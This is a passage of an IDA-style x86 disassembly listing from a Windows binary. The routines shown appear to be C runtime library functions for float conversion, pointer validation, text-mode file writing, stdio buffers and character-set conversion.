loc_41DF9D:				; CODE XREF: sub_41DF36+110j
		pop	eax
		jmp	loc_41E064
; ---------------------------------------------------------------------------


loc_41DFA3:				; CODE XREF: sub_41DF36+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41DE67
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DDDB
		add	esp, 10h
		test	eax, eax
		jz	short loc_41DFC4
		inc	ebx


loc_41DFC4:				; CODE XREF: sub_41DF36+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_41DFDC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DE82
		pop	ecx
		jmp	short loc_41E018
; ---------------------------------------------------------------------------


loc_41DFDC:				; CODE XREF: sub_41DF36+98j
		cmp	ebx, eax
		jg	short loc_41E01F
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DE67
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_41DEA9
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DDDB
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DEA9
		add	esp, 20h


loc_41E018:				; CODE XREF: sub_41DF36+A4j
		xor	esi, esi
		jmp	loc_41DF9B
; ---------------------------------------------------------------------------


loc_41E01F:				; CODE XREF: sub_41DF36+A8j
		cmp	ebx, [edi]
		jl	short loc_41E04B
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DE82
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DEA9
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_41DF9D
; ---------------------------------------------------------------------------


loc_41E04B:				; CODE XREF: sub_41DF36+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_41DEA9
		pop	ecx
		pop	ecx


loc_41E062:				; CODE XREF: sub_41DF36+55j
		xor	eax, eax


loc_41E064:				; CODE XREF: sub_41DF36+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_41E093
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_41E09D
; ---------------------------------------------------------------------------


loc_41E093:				; CODE XREF: sub_41DF36+14Ej
		cmp	edi, 20h
		jnz	short loc_41E09D
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_41E09D:				; CODE XREF: sub_41DF36+15Bj
					; sub_41DF36+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DF36	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0A2	proc near		; CODE XREF: sub_41E148+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_4361D0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41DF36
		add	esp, 0Ch
		retn
sub_41E0A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0B8	proc near		; CODE XREF: sub_41E1A3+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_4361E8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41DF36
		add	esp, 0Ch
		retn
sub_41E0B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0CE	proc near		; CODE XREF: .text:0041E199p
					; .text:0041FF2Cp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		and	[ebp+var_4], 0
		mov	cx, [eax+0Ah]
		push	40h
		mov	esi, ecx
		and	ecx, 8000h
		mov	edi, ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_10], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		shl	eax, 10h
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_10]
		push	eax
		and	esi, 7FFFh
		mov	[ebp+var_C], ecx
		call	sub_41DDDB
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41E11F
		mov	ecx, 80000000h
		inc	esi
		jmp	short loc_41E122
; ---------------------------------------------------------------------------


loc_41E11F:				; CODE XREF: sub_41E0CE+47j
		mov	ecx, [ebp+var_10]


loc_41E122:				; CODE XREF: sub_41E0CE+4Fj
		cmp	si, 7FFFh
		jnz	short loc_41E130
		mov	[ebp+var_4], 1


loc_41E130:				; CODE XREF: sub_41E0CE+59j
		mov	eax, [ebp+arg_4]
		or	edi, esi
		mov	[eax+4], ecx
		mov	ecx, [ebp+var_C]
		mov	[eax+8], di
		mov	[eax], ecx
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_41E0CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E148	proc near		; CODE XREF: sub_419D5A+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FA34
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E0A2
		add	esp, 24h
		leave
		retn
sub_41E148	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	1
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_41FA34
		push	dword ptr [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_41E0CE
		add	esp, 24h
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1A3	proc near		; CODE XREF: sub_419D5A+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FA34
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E0B8
		add	esp, 24h
		leave
		retn
sub_41E1A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1D0	proc near		; CODE XREF: sub_419D98+65p
					; sub_419E9C+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_41E20D
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_41E1F3:				; CODE XREF: sub_41E1D0+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41E1FF
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41E202
; ---------------------------------------------------------------------------


loc_41E1FF:				; CODE XREF: sub_41E1D0+27j
		push	30h
		pop	edx


loc_41E202:				; CODE XREF: sub_41E1D0+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41E1F3
		mov	edx, [ebp+arg_8]


loc_41E20D:				; CODE XREF: sub_41E1D0+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41E226
		cmp	byte ptr [ecx],	35h
		jl	short loc_41E226


loc_41E219:				; CODE XREF: sub_41E1D0+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_41E224
		mov	byte ptr [eax],	30h
		jmp	short loc_41E219
; ---------------------------------------------------------------------------


loc_41E224:				; CODE XREF: sub_41E1D0+4Dj
		inc	byte ptr [eax]


loc_41E226:				; CODE XREF: sub_41E1D0+42j
					; sub_41E1D0+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41E230
		inc	dword ptr [edx+4]
		jmp	short loc_41E242
; ---------------------------------------------------------------------------


loc_41E230:				; CODE XREF: sub_41E1D0+59j
		push	edi
		call	sub_4158E0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_416430
		add	esp, 10h


loc_41E242:				; CODE XREF: sub_41E1D0+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E1D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E247	proc near		; CODE XREF: sub_419D98+3Fp
					; sub_419E9C+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E2AB
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4929B8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41FF41
		mov	dword_4929E0, eax
		add	esp, 18h
		movsx	eax, byte_4929BA
		mov	dword_4929D8, eax
		pop	edi
		movsx	eax, word_4929B8
		mov	dword_4929DC, eax
		mov	dword_4929E4, offset dword_4929BC
		mov	eax, offset dword_4929D8
		pop	esi
		leave
		retn
sub_41E247	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E2AB	proc near		; CODE XREF: sub_41E247+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41E2F9
		cmp	ebx, edi
		jz	short loc_41E2F2
		lea	edi, [ecx+3C00h]
		jmp	short loc_41E31A
; ---------------------------------------------------------------------------


loc_41E2F2:				; CODE XREF: sub_41E2AB+3Dj
		mov	edi, 7FFFh
		jmp	short loc_41E31A
; ---------------------------------------------------------------------------


loc_41E2F9:				; CODE XREF: sub_41E2AB+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41E311
		cmp	edx, ebx
		jnz	short loc_41E311
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41E35C
; ---------------------------------------------------------------------------


loc_41E311:				; CODE XREF: sub_41E2AB+52j
					; sub_41E2AB+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_41E31A:				; CODE XREF: sub_41E2AB+45j
					; sub_41E2AB+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_41E332:				; CODE XREF: sub_41E2AB+A6j
		test	ecx, esi
		jnz	short loc_41E353
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_41E332
; ---------------------------------------------------------------------------


loc_41E353:				; CODE XREF: sub_41E2AB+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_41E35C:				; CODE XREF: sub_41E2AB+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E2AB	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_417FC6
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41E36A	proc near		; CODE XREF: sub_41A170+6Bp
					; sub_41A681+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	ds:dword_49530C	; IsBadReadPtr
		test	eax, eax
		jz	short loc_41E382
		xor	esi, esi


loc_41E382:				; CODE XREF: sub_41E36A+14j
		mov	eax, esi
		pop	esi
		retn
sub_41E36A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E386	proc near		; CODE XREF: sub_41A681+73p
					; sub_41A681+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	ds:dword_495460	; IsBadWritePtr
		test	eax, eax
		jz	short loc_41E39E
		xor	esi, esi


loc_41E39E:				; CODE XREF: sub_41E386+14j
		mov	eax, esi
		pop	esi
		retn
sub_41E386	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3A2	proc near		; CODE XREF: sub_41A681+15Bp
					; sub_41DAE9+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	ds:dword_495308	; IsBadCodePtr
		test	eax, eax
		jz	short loc_41E3B6
		xor	esi, esi


loc_41E3B6:				; CODE XREF: sub_41E3A2+10j
		mov	eax, esi
		pop	esi
		retn
sub_41E3A2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41A91C


loc_41E3BA:				; CODE XREF: sub_41A91C:loc_41A96Dj
		push	0Ah
		call	sub_41D965
		push	16h
		call	sub_420318
		pop	ecx
		pop	ecx
		push	3
		call	sub_41781E
; END OF FUNCTION CHUNK	FOR sub_41A91C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E3D1	proc near		; CODE XREF: sub_41A9D8+95p
					; sub_41A9D8+E8p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_493F9C
		push	esi
		push	edi
		jnb	loc_41E565
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:493E60h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41E565
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41E422


loc_41E41B:				; CODE XREF: sub_41E3D1+177j
		xor	eax, eax
		jmp	loc_41E579
; ---------------------------------------------------------------------------


loc_41E422:				; CODE XREF: sub_41E3D1+48j
		test	al, 20h
		jz	short loc_41E432
		push	2
		push	edi
		push	ecx
		call	sub_41CE78
		add	esp, 0Ch


loc_41E432:				; CODE XREF: sub_41E3D1+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41E501
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41E539


loc_41E452:				; CODE XREF: sub_41E3D1+F5j
		lea	eax, [ebp+var_414]


loc_41E458:				; CODE XREF: sub_41E3D1+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41E48C
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41E477
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41E477:				; CODE XREF: sub_41E3D1+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41E458


loc_41E48C:				; CODE XREF: sub_41E3D1+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:dword_49535C	; WriteFile
		test	eax, eax
		jz	short loc_41E4F6
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41E4C8
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41E452


loc_41E4C8:				; CODE XREF: sub_41E3D1+EAj
					; sub_41E3D1+12Ej
		xor	edi, edi


loc_41E4CA:				; CODE XREF: sub_41E3D1+150j
					; sub_41E3D1+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41E560
		cmp	[ebp+arg_0], edi
		jz	short loc_41E539
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41E52E
		mov	dword_4927F4, 9
		mov	dword_4927F8, eax
		jmp	loc_41E576
; ---------------------------------------------------------------------------


loc_41E4F6:				; CODE XREF: sub_41E3D1+E0j
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41E4C8
; ---------------------------------------------------------------------------


loc_41E501:				; CODE XREF: sub_41E3D1+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	ds:dword_49535C	; WriteFile
		test	eax, eax
		jz	short loc_41E523
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41E4CA
; ---------------------------------------------------------------------------


loc_41E523:				; CODE XREF: sub_41E3D1+145j
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41E4CA
; ---------------------------------------------------------------------------


loc_41E52E:				; CODE XREF: sub_41E3D1+10Fj
		push	[ebp+arg_0]
		call	sub_41C4E8
		pop	ecx
		jmp	short loc_41E576
; ---------------------------------------------------------------------------


loc_41E539:				; CODE XREF: sub_41E3D1+7Bj
					; sub_41E3D1+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41E54E
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41E41B


loc_41E54E:				; CODE XREF: sub_41E3D1+16Fj
		mov	dword_4927F4, 1Ch
		mov	dword_4927F8, edi
		jmp	short loc_41E576
; ---------------------------------------------------------------------------


loc_41E560:				; CODE XREF: sub_41E3D1+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41E579
; ---------------------------------------------------------------------------


loc_41E565:				; CODE XREF: sub_41E3D1+15j
					; sub_41E3D1+37j
		and	dword_4927F8, 0
		mov	dword_4927F4, 9


loc_41E576:				; CODE XREF: sub_41E3D1+120j
					; sub_41E3D1+166j ...
		or	eax, 0FFFFFFFFh


loc_41E579:				; CODE XREF: sub_41E3D1+4Cj
					; sub_41E3D1+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E3D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E57E	proc near		; CODE XREF: sub_41A9D8+6Cp
					; sub_41C031+32p ...

arg_0		= dword	ptr  4

		inc	dword_4929E8
		push	1000h
		call	sub_415CF8
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41E5A7
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41E5B8
; ---------------------------------------------------------------------------


loc_41E5A7:				; CODE XREF: sub_41E57E+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41E5B8:				; CODE XREF: sub_41E57E+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41E57E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E5C2	proc near		; CODE XREF: sub_41A9D8+61p
					; sub_41CB5F+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_493F9C
		jb	short loc_41E5D1
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E5D1:				; CODE XREF: sub_41E5C2+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_493E60[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41E5C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E5E8	proc near		; DATA XREF: .data:00429420o
		mov	eax, dword_493E40
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41E5FC
		mov	eax, 200h
		jmp	short loc_41E602
; ---------------------------------------------------------------------------


loc_41E5FC:				; CODE XREF: sub_41E5E8+Bj
		cmp	eax, esi
		jge	short loc_41E607
		mov	eax, esi


loc_41E602:				; CODE XREF: sub_41E5E8+12j
		mov	dword_493E40, eax


loc_41E607:				; CODE XREF: sub_41E5E8+16j
		push	4
		push	eax
		call	sub_42048A
		pop	ecx
		mov	dword_492AF0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41E63B
		push	4
		push	esi
		mov	dword_493E40, esi
		call	sub_42048A
		pop	ecx
		mov	dword_492AF0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41E63B
		push	1Ah
		call	sub_417FC6
		pop	ecx


loc_41E63B:				; CODE XREF: sub_41E5E8+30j
					; sub_41E5E8+49j
		xor	ecx, ecx
		mov	eax, offset off_436200


loc_41E642:				; CODE XREF: sub_41E5E8+6Ej
		mov	edx, dword_492AF0
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_436480
		jl	short loc_41E642
		xor	edx, edx
		mov	ecx, offset dword_436210


loc_41E65F:				; CODE XREF: sub_41E5E8+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_493E60[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E67C
		test	eax, eax
		jnz	short loc_41E67F


loc_41E67C:				; CODE XREF: sub_41E5E8+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41E67F:				; CODE XREF: sub_41E5E8+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_436270
		jl	short loc_41E65F
		pop	esi
		retn
sub_41E5E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E68D	proc near		; DATA XREF: .data:00429834o

; FUNCTION CHUNK AT 00420507 SIZE 00000058 BYTES

		call	sub_41BFBB
		cmp	byte_492834, 0
		jz	short locret_41E6A0
		jmp	loc_420507
; ---------------------------------------------------------------------------

locret_41E6A0:				; CODE XREF: sub_41E68D+Cj
		retn
sub_41E68D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E6A1	proc near		; CODE XREF: sub_41AAED+2D4p
					; sub_41AAED+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41E6AD
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41E6AD:				; CODE XREF: sub_41E6A1+8j
		cmp	dword_49288C, 0
		jnz	short loc_41E6C8
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41E6FA
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41E6C8:				; CODE XREF: sub_41E6A1+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_435E38
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_49289C
		call	ds:dword_4953E8	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41E6FA
		cmp	[ebp+arg_0], 0
		jz	short loc_41E707


loc_41E6FA:				; CODE XREF: sub_41E6A1+1Ej
					; sub_41E6A1+51j
		mov	dword_4927F4, 2Ah
		or	eax, 0FFFFFFFFh


loc_41E707:				; CODE XREF: sub_41E6A1+57j
		pop	ebp
		retn
sub_41E6A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E709	proc near		; CODE XREF: sub_41B320+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41E72C
		cmp	[ebp+arg_8], ebx
		jz	short loc_41E72C
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41E732
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41E72C
		mov	[eax], bx


loc_41E72C:				; CODE XREF: sub_41E709+Cj
					; sub_41E709+11j ...
		xor	eax, eax


loc_41E72E:				; CODE XREF: sub_41E709+42j
					; sub_41E709+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41E732:				; CODE XREF: sub_41E709+17j
		cmp	dword_49288C, ebx
		jnz	short loc_41E74D
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41E748
		movzx	ax, al
		mov	[ecx], ax


loc_41E748:				; CODE XREF: sub_41E709+36j
					; sub_41E709+C0j
		push	1
		pop	eax
		jmp	short loc_41E72E
; ---------------------------------------------------------------------------


loc_41E74D:				; CODE XREF: sub_41E709+2Fj
		mov	ecx, off_435C2C
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E7AA
		mov	eax, dword_435E38
		cmp	eax, 1
		jle	short loc_41E791
		cmp	[ebp+arg_8], eax
		jl	short loc_41E79B
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_49289C
		call	ds:dword_4953EC	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_435E38
		jnz	short loc_41E72E


loc_41E791:				; CODE XREF: sub_41E709+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_41E79B
		cmp	[esi+1], bl
		jnz	short loc_41E72E


loc_41E79B:				; CODE XREF: sub_41E709+61j
					; sub_41E709+8Bj ...
		mov	dword_4927F4, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E72E
; ---------------------------------------------------------------------------


loc_41E7AA:				; CODE XREF: sub_41E709+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_49289C
		call	ds:dword_4953EC	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41E748
		jmp	short loc_41E79B
sub_41E709	endp

; ---------------------------------------------------------------------------
		cmp	dword_435E38, 1
		jle	short loc_41E7EB
		push	103h
		push	dword ptr [esp+8]
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41E7EB:				; CODE XREF: .text:0041E7D8j
		mov	eax, [esp+4]
		mov	ecx, off_435C2C
		mov	ax, [ecx+eax*2]
		and	eax, 103h
		retn
; ---------------------------------------------------------------------------
		cmp	dword_435E38, 1
		jle	short loc_41E816
		push	1
		push	dword ptr [esp+8]
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41E816:				; CODE XREF: .text:0041E806j
		mov	eax, [esp+4]
		mov	ecx, off_435C2C
		mov	al, [ecx+eax*2]
		and	eax, 1
		retn
; ---------------------------------------------------------------------------
		cmp	dword_435E38, 1
		jle	short loc_41E83E
		push	2
		push	dword ptr [esp+8]
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41E83E:				; CODE XREF: .text:0041E82Ej
		mov	eax, [esp+4]
		mov	ecx, off_435C2C
		mov	al, [ecx+eax*2]
		and	eax, 2
		retn
; ---------------------------------------------------------------------------
		cmp	dword_435E38, 1
